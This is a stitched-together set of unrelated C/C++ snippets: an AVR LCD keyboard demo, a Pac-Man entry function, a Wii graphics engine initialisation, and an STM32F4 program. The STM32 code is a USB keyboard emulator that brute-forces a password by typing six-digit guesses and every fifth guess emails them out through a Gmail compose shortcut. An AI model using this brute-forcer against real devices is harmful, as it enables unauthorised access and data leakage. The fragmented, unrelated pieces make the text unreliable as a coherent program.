int main( void ) { initLCD(); keyboardInit( ); LCD_goto(1,0); lcd_puts("START KEYBOARD!"); LCD_goto(2,0); lcd_puts("ONE"); sei(); while( 1 ) { LCD_goto(2,8); LCD_num(count); } return 0; }
extern "C" void entry(){ irqLock = 0; lcdInit(32); lcdExtEntryFunct = irqDisableSec; lcdExtExitFunct = irqEnableSec; keyboardInit(); timerInit(); lcdDisplayON(); // greenAndRed(); pacmanGame(); while(1) continue; return; }
/** * @brief Main program. * @param None * @retval None */ int main(void) { uint32_t guessIdx = 0; int running = 0; int delay = 0; RCC_ClocksTypeDef RCC_Clocks; /* Initialize LEDs and User_Button on STM32F4-Discovery --------------------*/ STM_EVAL_PBInit(BUTTON_USER, BUTTON_MODE_EXTI); STM_EVAL_LEDInit(LED4); STM_EVAL_LEDInit(LED3); STM_EVAL_LEDInit(LED5); STM_EVAL_LEDInit(LED6); /* SysTick end of count event each 10ms */ RCC_GetClocksFreq(&RCC_Clocks); SysTick_Config(RCC_Clocks.HCLK_Frequency / 100); STM_EVAL_LEDOff(LED4); STM_EVAL_LEDOn(LED3); STM_EVAL_LEDOff(LED5); STM_EVAL_LEDOff(LED6); STM_EVAL_PBInit(BUTTON_USER, BUTTON_MODE_GPIO); keyboardInit(&USB_OTG_dev); Demo_USBConfig(); char guess[7]; strcpy(guess, "400000"); Delay(2000); while (1) { if (STM_EVAL_PBGetState(BUTTON_USER) == Bit_SET) { //crappy debounce routine TimingDelay = 10; while ((STM_EVAL_PBGetState(BUTTON_USER) == Bit_SET)&&(TimingDelay != 0x00)); //now change start or stop password attempts if (running == 0) { STM_EVAL_LEDOn(LED4); running = 1; } else { STM_EVAL_LEDOff(LED4); running = 0; } } //mostly non blocking delay to allow stopping with button if (delay > 0) { Delay(1000); delay--; } if (running != 0 && delay == 0) { Delay(200); keyboardWrite(KEY_BACKSPACE); keyboardWrite(KEY_BACKSPACE); keyboardWrite(KEY_BACKSPACE); keyboardWrite(KEY_BACKSPACE); STM_EVAL_LEDToggle(LED6); keyboardPutString(guess); keyboardWrite(KEY_RETURN); Delay(200); keyboardWrite(KEY_RETURN); nextPermutation(guess, "123", 1); if ((++guessIdx % 5) == 0) { //try to email every 5 guesses keyboardReleaseAll(); keyboardPress(KEY_LEFT_GUI); keyboardPress('g'); Delay(50); keyboardReleaseAll(); keyboardPutString("*****@*****.**"); //leave the preceding 'c' that is the gmail compose shortcut keyboardWrite(KEY_TAB); keyboardPutString(guess); keyboardWrite(KEY_TAB); keyboardPutString(guess); keyboardWrite(KEY_TAB); keyboardWrite(KEY_TAB); keyboardWrite(KEY_RETURN); STM_EVAL_LEDOff(LED5); delay = 30; } } } }
void REV_init() { //Local variables f32 yscale; u32 xfbHeight; //Load the right IOS, so keyboard works fin u32 iosVersion = IOS_GetVersion(); if(iosVersion != 36) { IOS_ReloadIOS(36); } //// VIDEO_Init();//Video Library Init PAD_Init();//Gamecube Pad Library Init WPAD_Init();//Wiimote Library Init rMode = VIDEO_GetPreferredMode(NULL);//Set render mode // allocate 2 framebuffers for double buffering frameBuffer[0] = MEM_K0_TO_K1(SYS_AllocateFramebuffer(rMode)); frameBuffer[1] = MEM_K0_TO_K1(SYS_AllocateFramebuffer(rMode)); //Configure Video System VIDEO_Configure(rMode); VIDEO_SetNextFramebuffer(frameBuffer[fb]);//Initial Framebuffer VIDEO_Flush(); VIDEO_WaitVSync(); if(rMode->viTVMode&VI_NON_INTERLACE) VIDEO_WaitVSync(); fb ^= 1;//Set next index //Set up the FIFO void *gp_fifo = memalign(32,DEFAULT_FIFO_SIZE);//Allocate memset(gp_fifo,0,DEFAULT_FIFO_SIZE);//and Clear //Init GX hardware GX_Init(gp_fifo,DEFAULT_FIFO_SIZE); // clears the bg to color and clears the z buffer GX_SetCopyClear(DEF_BG_COLOR , 0x00ffffff); //More initialization w = rMode->viWidth; h = rMode->viHeight; yscale = GX_GetYScaleFactor(rMode->efbHeight,rMode->xfbHeight); xfbHeight = GX_SetDispCopyYScale(yscale); GX_SetDispCopySrc(0,0,rMode->fbWidth,rMode->efbHeight); GX_SetDispCopyDst(rMode->fbWidth,xfbHeight); GX_SetFieldMode(rMode->field_rendering,((h==2*rMode->xfbHeight)?GX_ENABLE:GX_DISABLE)); if (rMode->aa) GX_SetPixelFmt(GX_PF_RGB565_Z16, GX_ZC_LINEAR); else GX_SetPixelFmt(GX_PF_RGB8_Z24, GX_ZC_LINEAR); GX_CopyDisp(frameBuffer[fb],GX_TRUE); GX_SetDispCopyGamma(GX_GM_1_0); for(u8 i = 0; i < 4; i++) WPAD_SetVRes(i,w,h); //Hardware Initialized, now engine initialization //Init filesystem fatInitDefault(); //First create a Root mainRoot = new ROOT; mainRoot->init((f32)w,(f32)h); GX_SetBlendMode(GX_BM_BLEND, GX_BL_SRCALPHA, GX_BL_INVSRCALPHA, GX_LO_CLEAR); GX_SetColorUpdate(GX_ENABLE); GX_SetAlphaUpdate(GX_ENABLE); GX_SetZCompLoc(GX_TRUE); GX_SetZMode (GX_TRUE, GX_LEQUAL, GX_TRUE); init3dConfig(); init2dConfig(); init2D(w, h); transQueue = NULL; solidQueue = NULL; zQueue = NULL; REV_fontsInit(); KEYBOARD_Init(NULL); keyboardInit(); }